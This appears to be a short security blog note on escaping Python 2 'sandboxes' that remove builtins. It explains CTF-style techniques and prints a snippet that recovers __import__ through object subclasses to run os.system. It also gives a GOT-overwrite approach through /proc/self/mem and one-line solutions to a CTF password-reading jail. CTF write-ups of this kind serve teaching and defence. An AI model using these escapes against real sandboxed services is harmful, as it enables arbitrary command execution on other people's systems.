Python "sandbox" escape (last update: 2016-12-04, created: 2013-05-06) back to the list ↑
So as I've recently learnt Python "sandbox" (as in removing _builtins_, and similar tricks) doesn't work. And it seems this is sometimes useful since different projects tend to use a Python "sandbox" anyway. So I decided to put some links / notes here.
(btw, this is about Python 2.6/2.7, not 3.X)

# Trick 1
If __builtins__ are removed, and import doesn't work, you can use this:


classes = {}.__class__.__base__.__subclasses__()
b = classes[49]()._module.__builtins__
m = b['__import__']('os')
m.system("bla bla")


The 49 there is warnings.catch_warnings in my case, however I recall on a different python version there was another warning-related class which has the same _module thing.
This basically solves the problem of missing import.

# See also
Basically any CTF writeup about python jail/sandbox escape.

http://blog.pnuts.tk/2013/04/plaidctf-pyjail-story-of-pythons-escape.html
http://ctftime.org/task/377/
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
http://www.reddit.com/r/Python/comments/hftnp/ask_rpython_recovering_cleared_globals/



The PlaidCTF 2014 had a _nightmare_ task where you could execute any code, but there was nothing in the environment except stdout.
It was solvable by accessing /proc/self/mem of the Python process and overwriting something. In our case we overwritten the fopen64 address in the .got/.plt with the address of system, and were able to run any command by just using type(stdout)("command").

Write-ups:
https://docs.google.com/document/d/1pgl19sRdNGH1mYNdjoZSRtkAFTn0TQYR7bhUDw99sew/edit#bookmark=id.hub6v8dj4caa (by q3k and me)
http://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/




On the 0x3004 CTF recently there was a different kind of task, which looked like this:



from sys import modules
modules.clear()
del modules

__builtins__.dir = None
eval = None
input = None
execfile = None

LEN_PASS = len(open('./password','r').read()) # Length of Password
                                
I_N_P_U_T = (  ) # only a-z0-9[]() and length of code must be <= 50
                                
P_A_S_S_W_O_R_D = open('./password','r').read()

assert LEN_PASS >= 1
assert LEN_PASS == len(I_N_P_U_T)
for i in range(LEN_PASS):
  if I_N_P_U_T[i] != P_A_S_S_W_O_R_D[i]:
    from sys import exit
    exit() # Wrong

# FLAGGGGGGGGGGGGGGGGGGGGGGGG
print 'Here is your flag:',open('./flag','r').read()


I played with the task quite a lot but in the end didn't manage to solve it. The organizers said there were two solutions, both really sweet:

*Solution 1*: max(open([list(vars())[5]for(password)in[0]][0]))
It basically creates a new local variable called "password" (it's the newly defined iterator in the for loop), and then uses the name of this variable (that's the list(vars())[5] - the number here might vary; on the CTF server it was 8) as the name to open the ./password file. The max() there is used to read the data from the file; list(open(...))[0] would work as well, but max is shorter.
Lesson: you actually could create new variables here

*Solution 2*: [chr(53)for(vars()[list(vars())[0]])in[1]]
This one works by replacing the LEN_PASS variable with 1 (this is done by using the the LEN_PASS variable (hint: reference) - that's the vars()[list(vars())[0]] part - as a value-iterator for the [1] array; which basically means it sets it to 1) and then returning always a given character - in this case it was "5" (of course, you had to brute-force this character on the server).
Lesson: list-for can be used to set existing variables, even if they are access in a really strange way
【 design & art by Xa / Gynvael Coldwind 】 【 logo font (birdman regular) by utopiafonts / Dale Harris 】